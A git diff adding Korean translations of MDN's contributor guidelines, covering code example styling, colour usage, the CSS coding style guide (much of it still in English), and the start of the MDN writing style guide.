+<p>높이의 경우, 최대한의 화면 가독성을 위해 가능하면 렌더링 된 예제 높이를 700px 아래로 유지하는 것을 추천합니다.</p>
+
+<p>모바일 디바이스에서도 예제가 잘 보이도록 어느 정도는 반응형으로 동작되도록 예제를 작성하는데 신경써야 합니다.</p>
+
+<h3 id="이미지나_다른_미디어의_사용">이미지나 다른 미디어의 사용</h3>
+
+<p>가끔 이미지나 다른 미디어를 예제에 삽입하고 싶을 때가 있습니다. 그럴 때에는:</p>
+
+<ul>
+ <li>해당 미디어의 라이센스가 사용을 허용하는지 확인하세요. <a href="https://creativecommons.org/share-your-work/public-domain/cc0/" rel="nofollow">CC0</a>와 같은 매우 관대한 라이브러리나, 적어도 일반적인 콘텐츠 라이센스인   <a class="external text external-icon" href="http://creativecommons.org/licenses/by-sa/2.5/" rel="nofollow noopener" title="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons Attribution-ShareAlike license</a> (CC-BY-SA) 중 하나를 사용하도록 해야합니다.</li>
+ <li>이미지에 대해서는, <a href="https://tinypng.com" rel="nofollow">https://tinypng.com</a> 나 <a href="https://imageoptim.com" rel="nofollow">https://imageoptim.com</a> 를 사용해 예제의 페이지 무게를 줄여야 합니다.</li>
+ <li><code>SVG</code>에 대해서는, <a href="https://jakearchibald.github.io/svgomg/">SVGOMG</a>를 통해 <code>SVG</code> 파일이 파일 마지막에 빈 줄을 갖도록 해야합니다.</li>
+ <li>
+  <p>페이지에서 아이콘을 보여줄 때 (즉 {{cssxref("background-image")}} 를 이용할 때), 적당한 곳에 <a href="https://mdn.github.io/mdn-fiori/patterns/css/iconography/">빌트인 MDN 아이콘</a>을 사용하고, 다른 경우와 비교하여 스타일을 맞추도록 하십시오.</p>
+ </li>
+</ul>
+
+<h3 id="컬러의_사용">컬러의 사용</h3>
+
+<p>소문자 16진수 대신, 음영이나 주요 컬러(즉, 검은색, 흰색, 빨간색)는 키워드를 사용할 수있습니다. 필요한 경우에만 좀 더 복잡한 컬러스킴을 사용하세요.( 예를 들면, 투명색이 필요할 때)</p>
+
+<p>주요 "기본" 컬러는 키워드로 설정하는것이 좋습니다. 예를 들면:</p>
+
+<pre class="brush: css example-good notranslate">color: black;
+color: white;
+color: red;</pre>
+
+<p>좀 더 복잡한 컬러는 rgb() 를 사용합니다. (반 투명 색 포함):</p>
+
+<pre class="brush: css example-good notranslate">color: rgb(0, 0, 0, 0.5);
+color: rgb(248, 242, 230);</pre>
+
+<p>16진수 컬러를 사용해야 한다면, 소문자를 이용하세요:</p>
+
+<pre class="brush: css example-good notranslate">color: #058ed9;
+color: #a39a92;</pre>
+
+<p>그리고 가능한 곳에는 단축형태를 사용하세요:</p>
+
+<pre class="brush: css example-good notranslate">color: #ff0;
+color: #fff;</pre>
+
+<p><a href="https://mdn-fiori.netlify.app/">MDN's Fiori 가이드라인</a>(프론트엔드 코드베이스용)은 전체 MDN 디자인에 사용된 <a href="https://mdn-fiori.netlify.app/?path=/docs/docs-colors--page">유용한 컬러셋</a>을 포함하고 있습니다. ( 역자주: 영어 원문 링크가 깨져 <a href="https://github.com/mdn/mdn-fiori">MDN Fiori 깃허브 리포</a> 에서 비슷한 링크를 찾아 연결했습니다.)</p>
+
+<h3 id="좋은_예시와_나쁜_예시_강조">좋은 예시와 나쁜 예시 강조</h3>
+
+<p>이 가이드라인에서 알 수 있는 것처럼, 좋은 실습예시는 연두색에 웃는얼굴로 강조되며, 나쁜 실습 예시는 슬픈표정에 빨간 바탕으로 강조됩니다.</p>
+
+<p>이 처럼 하려면, MDN 에디터 콘트롤로 코드 블럭을 <code>&lt;pre&gt;</code> 블럭이 되도록 하고, 적절한 문법 강조를 설정해야 합니다. 소스 코드는 아래와 비슷하게 보일겁니다:</p>
+
+<pre class="notranslate">&lt;pre class="brush: js"&gt;
+function myFunc() {
+  console.log('Hello!');
+};&lt;/pre&gt;</pre>
+
+<p>이 상태에서 좋은 예시로 만들려면, <code>class</code> 속성의 오른쪽 따옴표 바로 앞에 <code>example-good</code>을 넣으면 됩니다:</p>
+
+<pre class="notranslate">&lt;pre class="brush: js example-good"&gt;
+  ...</pre>
+
+<p>나쁜 예시로 만들려면, <code>class</code> 속성의 오른쪽 따옴표 바로 앞에 <code>example-bad</code>를 넣으면 됩니다:</p>
+
+<pre class="notranslate">&lt;pre class="brush: js example-bad"&gt;
+  ...</pre>
+
+<p>우리는 당신이 이 기능을 사용하길 권장합니다. 모든 곳에 사용할 필요는 없습니다. 당신의 코드에서 좋은 예와 나쁜 예를 구분할 필요가 있을때 사용하세요.</p>
+
+<h2 id="레퍼런스_페이지에서_문법_섹션_작성">레퍼런스 페이지에서 문법 섹션 작성</h2>
+
+<p>MDN 레퍼런스 페이지에는  JavaScript 메서드, CSS 속성, HTML 요소 등과 같이 기능의 구문이 무엇을 할 수 있고, 어때야 하는지 명확하게 보여주는 문법 섹션(Syntax section)이 포함되어 있습니다. 이 내용을 작성하는 가이드라인은 <a href="/ko/docs/MDN/Contribute/Structures/Syntax_sections">Syntax sections</a> 문서를 참고하세요.</p>
diff --git a/files/ko/mdn/guidelines/code_guidelines/css/index.html b/files/ko/mdn/guidelines/code_guidelines/css/index.html
new file mode 100644
index 0000000000..cbcbd11ae8
--- /dev/null
+++ b/files/ko/mdn/guidelines/code_guidelines/css/index.html
@@ -0,0 +1,249 @@
+---
+title: CSS 가이드라인
+slug: MDN/Guidelines/Code_guidelines/CSS
+translation_of: MDN/Guidelines/Code_guidelines/CSS
+---
+<div>{{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p class="summary">다음 가이드라인은 MDN code 예제를 위한 CSS 작성 방법을 설명합니다.</p>
+
+<h2 id="이번_기사에서는">이번 기사에서는</h2>
+
+<ul>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#High-level_guidelines">고급 가이드라인</a>
+
+  <ul>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Dont_use_preprocessors">전처리기를 사용하지 마십시오</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Dont_use_specific_CSS_methodologies">특정 CSS 방법론을 사용하지 마십시오</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Use_flexiblerelative_units">유연하고/상대적인 단위를 사용합니다</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Dont_use_resets">재설정을 사용하지 마십시오</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Plan_your_CSS_%E2%80%94_avoid_overriding">CSS 계획 — 재정의 (overriding) 를 방지합니다</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#General_CSS_coding_style">일반적인 CSS 코딩 스타일</a>
+  <ul>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Use_expanded_syntax">확장 구문을 사용합니다</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Favor_longhand_rules_over_terse_shorthand">속기 (shorthand) 보다는 longhand 규칙을 좋아합니다</a> </li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Use_double_quotes_around_values">값을 큰 따옴표로 묶습니다</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Spacing_around_function_parameters">함수 매개변수 주위의 간격</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#CSS_comments">CSS 주석</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Dont_use_!important">!important 를 사용하지 마십시오</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Specific_CSS_syntax_points">특정 CSS 구문 포인트</a>
+  <ul>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Turning_off_borders_and_other_properties">테두리 및 기타 속성 끄기</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Use_mobile_first_media_queries">"모바일 우선" 미디어 쿼리 사용</a></li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Selectors">선택자</a>
+  <ul>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Dont_use_ID_selectors">ID 선택자를 사용하지 마십시오</a></li>
+   <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS#Put_multiple_selectors_on_separate_lines">여러 라인을 별도의 라인에 배치</a></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="High-level_guidelines">High-level guidelines</h2>
+
+<h3 id="Dont_use_preprocessors">Don't use preprocessors</h3>
+
+<p>Don't use preprocessor syntax, e.g. <a href="https://sass-lang.com/">Sass</a>, <a href="http://lesscss.org/">Less</a>, or <a href="http://stylus-lang.com/">Stylus,</a> in your MDN example code. MDN documents the vanilla CSS language, and using preprocessors only serves to raise the bar to understanding the examples, potentially confusing readers.</p>
+
+<h3 id="Dont_use_specific_CSS_methodologies">Don't use specific CSS methodologies</h3>
+
+<p>In the same spirit as the previous guideline, don't write MDN example code using a specific CSS methodology such as <a href="http://getbem.com/naming/">BEM</a> or <a href="https://smacss.com/">SMACSS</a>. Even though they are valid CSS syntax, the naming conventions can be confusing to people not familiar with those methodologies.</p>
+
+<h3 id="Use_flexiblerelative_units">Use flexible/relative units</h3>
+
+<p>For maximum flexibility over the widest possible range of devices, it is a good idea to size containers, padding, etc. using relative units like ems and rems, or percentages and viewport units if you want them to vary depending on viewport width. You can read some more about this in our <a href="/en-US/docs/Web/Apps/app_layout/responsive_design_building_blocks#Fluid_grids">Responsive design building blocks</a> article.</p>
+
+<h3 id="Dont_use_resets">Don't use resets</h3>
+
+<p>For maximum control over CSS across platforms, a lot of people used to use CSS resets to remove every style, before then building things back up themselves. This certainly has its merits, but especially in the modern world CSS resets can be overkill, resulting in lots of extra time spent reimplementing things that weren't completely broken in the first place, like default margins, list styles, etc.</p>
+
+<p>If you really feel like you need to use a reset, consider using <a href="http://necolas.github.io/normalize.css/">normalize.css by Nicolas Gallagher</a>, which aims to just make things more consistent across browsers, get rid of some default annoyances that we always remove (the margins on <code>&lt;body&gt;</code>, for example) and fix a few bugs.</p>
+
+<h3 id="Plan_your_CSS_—_avoid_overriding">Plan your CSS — avoid overriding</h3>
+
+<p>Before diving in and writing huge chunks of CSS, plan your styles carefully. What general styles are going to be needed, what different layouts do you need to create, what specific overrides need to be created, and are they reusable? Above all, you need to try to avoid too much overriding. If you keep finding yourself writing styles and then cancelling them again a few rulesets down, you probably need to rethink your strategy.</p>
+
+<h2 id="General_CSS_coding_style">General CSS coding style</h2>
+
+<h3 id="Use_expanded_syntax">Use expanded syntax</h3>
+
+<p>There are a variety of CSS writing styles you can use, but we prefer the expanded style, with the selector/opening brace, close brace, and each declaration on a separate line. This maximizes readability, and again, promotes consistency on MDN.</p>
+
+<p>Use this:</p>
+
+<pre class="brush: css example-good notranslate">p {
+  color: white;
+  background-color: black;
+  padding: 1rem;
+}</pre>
+
+<p>Not this:</p>
+
+<pre class="brush: css example-bad notranslate">p { color: white; background-color: black; padding: 1rem; }</pre>
+
+<p>In addition, keep these specifics in mind:</p>
+
+<ul>
+ <li>Include a space between the selector(s) and the opening curly brace.</li>
+ <li>Always include a semi-colon at the end of the last declaration, even though it isn't strictly necessary.</li>
+ <li>Put the closing curly brace on a new line.</li>
+ <li>In each declaration, put a space after the separating colon, but not before.</li>
+ <li>Use 2 spaces for code indentation.</li>
+</ul>
+
+<h3 id="Favor_longhand_rules_over_terse_shorthand">Favor longhand rules over terse shorthand</h3>
+
+<p>Usually when teaching the specifics of CSS syntax, it is clearer and more obvious to use longhand properties, rather than terse shorthand (unless of course teaching the shorthand is the point of the example). Remember that the point of MDN examples is to teach people, not to be clever or efficient.</p>
+
+<p>To start with, it is often harder to understand what the shorthand is doing. It takes a while to pick apart exactly what {{cssxref("font")}} syntax is doing, for example:</p>
+
+<pre class="brush: css notranslate">font: small-caps bold 2rem/1.5 sans-serif;</pre>
+
+<p>Whereas this is more immediate in terms of understanding:</p>
+
+<pre class="brush: css notranslate">font-variant: small-caps;
+font-weight: bold;
+font-size: 2rem;
+line-height: 1.5;
+font-family: sans-serif;</pre>
+
+<p>Second, CSS shorthand comes with potential added pitfalls — default values are set for parts of the syntax that you don't explicitly set, which can produce unexpected resets of values you've set earlier in the cascade, or other expected effects. The {{cssxref("grid")}} property for example sets all of the following default values for items that are not specified:</p>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}: <code>none</code></li>
+ <li>{{cssxref("grid-template-columns")}}: <code>none</code></li>
+ <li>{{cssxref("grid-template-areas")}}: <code>none</code></li>
+ <li>{{cssxref("grid-auto-rows")}}: <code>auto</code></li>
+ <li>{{cssxref("grid-auto-columns")}}: <code>auto</code></li>
+ <li>{{cssxref("grid-auto-flow")}}: <code>row</code></li>
+ <li>{{cssxref("grid-column-gap")}}: <code>0</code></li>
+ <li>{{cssxref("grid-row-gap")}}: <code>0</code></li>
+ <li>{{cssxref("column-gap")}}: <code>normal</code></li>
+ <li>{{cssxref("row-gap")}}: <code>normal</code></li>
+</ul>
+
+<p>In addition, some shorthands only work as expected if you include the different value components in a certain order. In CSS animations for example:</p>
+
+<pre class="brush: css notranslate">/* duration | timing-function | delay | iteration-count
+   direction | fill-mode | play-state | name */
+animation: 3s ease-in 1s 2 reverse both paused slidein;</pre>
+
+<p>As an example, the first value that can be parsed as a <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/time" title="The &lt;time> CSS data type represents a time value expressed in seconds or milliseconds. It is used in animation, transition, and related properties."><code>&lt;time&gt;</code></a> is assigned to the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/animation-duration" title="The animation-duration CSS property sets the length of time that an animation takes to complete one cycle."><code>animation-duration</code></a>, and the second one is assigned to <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/animation-delay" title="The animation-delay CSS property sets when an animation starts. The animation can start later, immediately from its beginning, or immediately and partway through the animation."><code>animation-delay</code></a>. For more details, read the full <a href="/en-US/docs/Web/CSS/animation#Syntax">animation syntax</a> details.</p>
+
+<h3 id="Use_double_quotes_around_values">Use double quotes around values</h3>
+
+<p>Where quotes can or should be included, use them, and use double quotes. For example:</p>
+
+<pre class="brush: css example-good notranslate">[data-vegetable="liquid"] {
+  background-color: goldenrod;
+  background-image: url("../../media/examples/lizard.png");
+}</pre>
+
+<h3 id="Spacing_around_function_parameters">Spacing around function parameters</h3>
+
+<p>Function parameters should have spaces after their separating commas, but not before:</p>
+
+<pre class="brush: css example-good notranslate">color: rgb(255, 0, 0);
+background-image: linear-gradient(to bottom, red, black);</pre>
+
+<h3 id="CSS_comments">CSS comments</h3>
+
+<p>Use CSS-style comments to comment code that isn't self-documenting:</p>
+
+<pre class="brush: css example-good notranslate">/* This is a CSS-style comment */</pre>
+
+<p>Put your comments on separate lines preceeding the code they are referring to:</p>
+
+<pre class="brush: css example-good notranslate">h3 {
+  /* Creates a red drop shadow, offset 1px right and down, w/2px blur radius */
+  text-shadow: 1px 1px 2px red;
+  /* Sets the font-size to double the default document font size */
+  font-size: 2rem;
+}</pre>
+
+<p>Also note that you should leave a space between the asterisks and the comment, in each case.</p>
+
+<h3 id="Dont_use_!important">Don't use !important</h3>
+
+<p>!important is a last resort generally only used when you need to override something and there is no other way. It is a bad practice and you should avoid it wherever possible.</p>
+
+<p>Bad:</p>
+
+<pre class="brush: css example-bad notranslate">.bad-code {
+  font-size: 4rem !important;
+}</pre>
+
+<h2 id="Specific_CSS_syntax_points">Specific CSS syntax points</h2>
+
+<h3 id="Turning_off_borders_and_other_properties">Turning off borders and other properties</h3>
+
+<p>When turning off borders (and any other properties that can take <code>0</code> or <code>none</code> as values), use <code>0</code> rather than <code>none</code>:</p>
+
+<pre class="brush: css example-good notranslate">border: 0;</pre>
+
+<h3 id="Use_mobile_first_media_queries">Use "mobile first" media queries</h3>
+
+<p>When including different sets of styles for different target viewport sizes using media queries inside the same stylesheet, it is a good idea to make the default styling before any media queries have been applied to the document the narrow screen/mobile styling, and then override this for wider viewports inside successive media queries.</p>
+
+<pre class="brush: css example-good notranslate">/*Default CSS layout for narrow screens*/
+
+@media (min-width: 480px) {
+  /*CSS for medium width screens*/
+}
+
+@media (min-width: 800px) {
+  /*CSS for wide screens*/
+}
+
+@media (min-width: 1100px) {
+  /*CSS for really wide screens*/
+}</pre>
+
+<p>This has many advantages, outlined in our <a href="/en-US/docs/Web/Apps/Progressive/Responsive/Mobile_first">Mobile First</a> article.</p>
+
+<h2 id="Selectors">Selectors</h2>
+
+<h3 id="Dont_use_ID_selectors">Don't use ID selectors</h3>
+
+<p>There is really no need to use ID selectors — they are less flexible (you can't add more if you discover you need more than one), and are harder to override if needed, being of a higher specificity than classes.</p>
+
+<p>Good:</p>
+
+<pre class="brush: css example-good notranslate">.editorial-summary {
+  ...
+}</pre>
+
+<p>Bad:</p>
+
+<pre class="brush: css example-bad notranslate">#editorial-summary {
+  ...
+}</pre>
+
+<h3 id="Put_multiple_selectors_on_separate_lines">Put multiple selectors on separate lines</h3>
+
+<p>When a rule has multiple selectors, put each selector on a new line. This makes the selector list easier to read, and can help to make code lines shorter.</p>
+
+<p>Do this:</p>
+
+<pre class="brush: css example-good notranslate">h1,
+h2,
+h3 {
+  font-family: sans-serif;
+  text-align: center;
+}</pre>
+
+<p>Not this:</p>
+
+<pre class="brush: css example-bad notranslate">h1, h2, h3 {
+  font-family: sans-serif;
+  text-align: center;
+}</pre>
+
+<h2 id="Good_CSS_examples_on_MDN">Good CSS examples on MDN</h2>
+
+<p>You can find good, concise, meaningful CSS snippets at the top of our CSS property reference pages — browse through our <a href="/en-US/docs/Web/CSS/Reference#Keyword_index">CSS keyword index</a> to find some. Our interactive examples are generally written to follow the above guidelines, although be aware that they may differ in some places as they were mostly written before the guidelines were newly written.</p>
diff --git a/files/ko/mdn/guidelines/code_guidelines/index.html b/files/ko/mdn/guidelines/code_guidelines/index.html
new file mode 100644
index 0000000000..3ce931004f
--- /dev/null
+++ b/files/ko/mdn/guidelines/code_guidelines/index.html
@@ -0,0 +1,80 @@
+---
+title: Code example guidelines
+slug: MDN/Guidelines/Code_guidelines
+tags:
+  - CSS
+  - Code
+  - Guide
+  - Guidelines
+  - HTML
+  - JavaScript
+  - MDN Meta
+  - NeedsTranslation
+  - Shell
+  - TopicStub
+translation_of: MDN/Guidelines/Code_guidelines
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<div>
+<p class="summary"><span class="seoSummary">This document series outlines the coding guidelines and best practices we use for writing demos, code snippets, interactive examples, etc, for use on MDN.</span></p>
+
+<p>If you are looking for guidelines to follow when writing your code examples, you have come to the right place. The biggest advantage to adhering to these guidelines is that it will foster consistency across our samples and demos on MDN, which increases readability and comprehension overall.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: If you want advice on the styling of code as it appears on an MDN article, rather than the code content, see our <a href="/en-US/docs/MDN/Contribute/Guidelines/Writing_style_guide#Code_sample_style_and_formatting">Writing style guide</a>.</p>
+</div>
+
+<h2 id="Article_structure">Article structure</h2>
+
+<p>This article contains general high-level best practices for writing MDN code examples. Its subarticles are as follows:</p>
+
+<ul>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/General">General guidelines for all code</a> — both syntactical and for styling/displaying examples</li>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/HTML">HTML guidelines</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/CSS">CSS guidelines</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/JavaScript">JavaScript guidelines</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute/Guidelines/Code_guidelines/Shell">Shell prompt guidelines</a></li>
+</ul>
+
+<h2 id="General_best_practices">General best practices</h2>
+
+<p>This section provides quick general best practices for creating an understandable minimal code sample to demonstrate usage of a specific feature or function.</p>
+
+<p>Code samples need to be:</p>
+
+<ul>
+ <li>simple enough to be understandable, but</li>
+ <li>complex enough to do something interesting, and preferably useful.</li>
+</ul>
+
+<p>There is one overarching consideration that you need to keep in mind: <strong>Readers will copy and paste the code sample into their own code, and may put it into production.</strong></p>
+
+<p>Therefore, you need to make sure that the code example is usable and follows generally accepted best practices, and <strong>does not</strong> do anything that will cause an application to be insecure, grossly inefficient, bloated, or inaccessible. If the code example is not runnable or production-worthy, be sure to include a warning in a code comment and in the explanatory text — if it is a snippet and not a full example, make this clear. This also means that you should provide <strong>all</strong> of the information necessary to run the example including any dependencies and setup.</p>
+
+<p><span class="author-g-frc9o9ihh5c9qyd0">Code samples should be as self-contained and easy to understand as possible. The aim is not necessarily to produce efficient, clever code that impresses experts and has great functionality, but rather to produce reduced working examples that can be understood as quickly as possible.</span></p>
+
+<ul>
+</ul>
+
+<div id="magicdomid13"><span class="author-g-frc9o9ihh5c9qyd0">Guidelines:</span></div>
+
+<div id="magicdomid14"> </div>
+
+<div id="magicdomid15">
+<ul>
+ <li><span class="author-g-frc9o9ihh5c9qyd0">The sample should be short and ideally only show the feature you are immediately interested in.</span></li>
+ <li><span class="author-g-frc9o9ihh5c9qyd0"><strong>Only</strong> include code that is essential for the example. A large amount of non-relevant code can easily distract or confuse the audience. If you want to provide a full, more lengthy, example put it in one of our <a href="https://github.com/mdn/">Github repos</a> (or a JSBin, Codepen, or similar) and then provide the link to the full version above or below the sample.</span></li>
+ <li><span class="author-g-frc9o9ihh5c9qyd0">Don't include unnecessary server-side code, libraries, frameworks, preprocessors, and other such dependencies — they make the code less portable, and harder to run and understand. Use vanilla code where possible.</span></li>
+ <li><span class="author-g-frc9o9ihh5c9qyd0">Don't assume knowledge of any libraries, frameworks, preprocessors, or other non-native features. For example, use class names that make sense within the example rather than classnames that make sense to BEM or Bootstrap users.</span></li>
+ <li><span class="author-g-frc9o9ihh5c9qyd0">Write your code as cleanly and understandably as possible, even if it is not the most efficient way to do it.</span></li>
+ <li><span class="author-g-frc9o9ihh5c9qyd0">Don't use bad practices for brevity (such as presentational elements like {{HTMLElement("big")}} or {{domxref("Document.write", "document.write()")}}); do it correctly.</span></li>
+ <li><span class="author-g-frc9o9ihh5c9qyd0">In the case of API demos, if you are using multiple APIs together point out what APIs are included, and what features come from where.</span></li>
+</ul>
+</div>
+
+<ul>
+</ul>
diff --git a/files/ko/mdn/guidelines/index.html b/files/ko/mdn/guidelines/index.html
new file mode 100644
index 0000000000..d87bfe197c
--- /dev/null
+++ b/files/ko/mdn/guidelines/index.html
@@ -0,0 +1,14 @@
+---
+title: 가이드라인
+slug: MDN/Guidelines
+tags:
+  - MDN 메타
+  - 가이드라인
+  - 시작하기
+translation_of: MDN/Guidelines
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubNav("/ko/docs/MDN")}}</div>
+
+<p><span class="seoSummary">이 안내서는 코드 샘플 및 다른 콘텐츠가 보여야 하는 법뿐만 아니라 MDN 문서가 작성되고 형식을 갖추는 법에 대한 세부 정보를 제공합니다.</span> 이 안내서를 따름으로써, 당신의 생산물이 깨끗하고 사용하기 쉽다는 것을 보장할 수 있습니다.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/mdn/guidelines/style_guide/index.html b/files/ko/mdn/guidelines/style_guide/index.html
new file mode 100644
index 0000000000..507f30e228
--- /dev/null
+++ b/files/ko/mdn/guidelines/style_guide/index.html
@@ -0,0 +1,833 @@
+---
+title: MDN 스타일 가이드
+slug: MDN/Guidelines/Style_guide
+tags:
+  - Documentation
+  - Guide
+  - MDN
+  - MDN Meta
+  - MDN 스타일 가이드
+  - 스타일 가이드
+  - 스타일 가이드 작성
+translation_of: MDN/Guidelines/Writing_style_guide
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<p><span class="seoSummary">정돈되고 일관적이며 읽기 쉬운 문서를 제공하고자, MDN 웹 문서 스타일 안내서는 글의 정렬, 철자, 서식 방법 등을 정리합니다. 이 가이드는 엄격한 규칙이라기보다 가이드라인입니다. 우리는 형식보다는 내용에 더 관심이 있습니다. 그러니 기여하기 전에 스타일 가이드를 배워야 한다는 부담을 느끼시지 않아도 됩니다. 하지만 </span>나중에 다른 부지런한 지원자가 이 가이드를 따라 당신의 작업물을 편집할 수 있습니다. 만약 그런 일이 벌어지더라도 화내거나 놀라지 마세요.</p>
+
+<p>이 가이드의 언어적 측면의 내용은 영문을 위주로 작성되었습니다. 기타 다른 언어는 언어만의 고유한 스타일 가이드를 가질 수 있으며, 새롭게 만드는 것도 좋습니다. 이 페이지들은 지역화 팀 페이지의 하위 페이지로 생성되어야 합니다.</p>
+
+<p>MDN이 아닌 다른 사이트를 위해 쓰여진 콘텐츠를 적용하는 스타일 표준에 대한 내용은 <a href="https://www.mozilla.org/en-US/styleguide/">One Mozilla 스타일 가이드</a>를 참고하세요.</p>
+
+<h2 id="Page_name_and_heading_capitalization" name="Page_name_and_heading_capitalization">기본</h2>
+
+<p>아무리 방대한 문서화 스타일 가이드라도 가장 기본적인 텍스트 표준에서 시작하는 것이 좋습니다. 텍스트 표준은 일관된 문서화를 유지하는데 도움을 줍니다. 이어지는 섹션에서 도움이 될 만한 이런 기본들을 설명합니다.</p>
+
+<h3 id="페이지_제목">페이지 제목</h3>
+
+<p><span id="result_box" lang="ko"><span>페이지 제목은 검색 결과에 사용되며, 페이지 상단의 페이지 이동 경로(breadcrumb) 목록에 페이지 계층 구조를 구성하는 데 사용됩니다.</span> <span> (페이지 상단과 검색 결과 상단</span></span><span lang="ko"><span>에 표시되는) </span></span><span id="result_box" lang="ko"><span>페이지 제목</span></span><span lang="ko"><span>은 페이지 "슬러그"와 다를 수 있습니다. "슬러그"는 페이지 URL의 일부로   "<em>&lt;locale&gt;/docs/</em>" 다음에 따라오는 부분입니다.</span></span></p>
+
+<h4 id="제목과_섹션제목_대문자넣기Capitalization"> 제목과  섹션제목 대문자넣기(Capitalization)</h4>
+
+<p>페이지 타이틀과 섹션 제목은 헤드라인 스타일 대문자넣기보다는 (첫번째 단어와 필요한 명사만 대문자를 넣는 방식의)일반 문장 스타일 대문자넣기를 해야 합니다:</p>
+
+<ul>
+ <li><strong>Correct</strong>: "A new method for creating JavaScript rollovers"</li>
+ <li><strong>Incorrect</strong>: "A New Method for Creating JavaScript Rollovers"</li>
+</ul>
+
+<p>이런 스타일 규칙이 적용되기 전에 작성된 수많은 예전 문서들이 현재도 존재합니다. 자유롭게 해당 문서들을 수정해도 좋습니다. 우리는 점차적으로 스타일 규칙을 맞춰 나갈겁니다.</p>
+
+<h4 id="제목_및_슬러그slug_선택하기">제목 및 슬러그(slug) 선택하기</h4>
+
+<p>페이지 슬러그는 짧게 만들어야 합니다. 새로운 레벨의 계층을 만들때, 그 레벨의 요소는 슬러그에서 한,두 단어로 표현되어야 합니다.</p>
+
+<p>반면에, 페이지 제목은 ,합리적인 범위내에서, 당신이 원하는 만큼 길어도 됩니다. 그리고 구체적이어야 합니다.</p>
+
+<h4 id="신규_서브트리_생성하기">신규 서브트리 생성하기</h4>
+
+<p>어떤 토픽이나 주제 영역에 대한 문서를 추가할 필요가 있다면, 당신이 선택할 일반적인 방법은 랜딩 페이지를 생성한 이후, 각각의 개별적인 문서의 서브페이지를 추가하는 것입니다. 랜딩 페이지는 토픽이나 기술을 설명하는 한두 개의 문단으로 시작한 이후, 각 페이지의 설명이 달린 서브페이지의 목록을 전달해야합니다. 우리가 개발한 몇가지 매크로로 페이지를 목록에 자동으로 삽입할 수 있습니다.</p>
+
+<p>예를 들면 , 아래와 같이 구성된 <a href="/ko/docs/Web/JavaScript">자바스크립트</a> 가이드를 생각해봅시다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Guide" title="JavaScript/Guide">JavaScript/안내서</a> - 주 목차 페이지</li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/소개" title="JavaScript/Guide/JavaScript_Overview">JavaScript/안내서/JavaScript 소</a>개</li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/함수" title="JavaScript/Guide/Functions">JavaScript/안내서/함수</a></li>
+ <li><a href="/ko/docs/Web/JavaScript/Guide/객체_모델의_세부사항" title="JavaScript/Guide/Details_of_the_Object_Model">JavaScript/안내서/객체 모델의 세부사항</a></li>
+</ul>
+
+<p>문서를 문서구조 최상층에 두는 것은 최대한 피해야 합니다. 이렇게 하면 사이트가 느려지며, 사이트 탐색과 네비게이션을 비효율적으로 만듭니다.</p>
+
+<div class="blockIndicator note">
+<p>주목할 점: 문서 추가는 <a href="https://wiki.developer.mozilla.org/ko/docs/MDN/Contribute/Howto/Create_and_edit_pages#Getting_page-creation_permissions">페이지 생성 권한</a>이 필요합니다.</p>
+</div>
+
+<h3 id="General_article_content_guidelines">General article content guidelines</h3>
+
+<p>When writing any document, it's important to know how much to say. If you ramble on too long, or provide excessive detail, the article becomes tedious to read and nobody will use it. Getting the amount of coverage right is important for several reasons. Among those reasons: to ensure that the reader finds the information they truly need, and to provide enough quality material for search engines to adequately analyze and rank the article.</p>
+
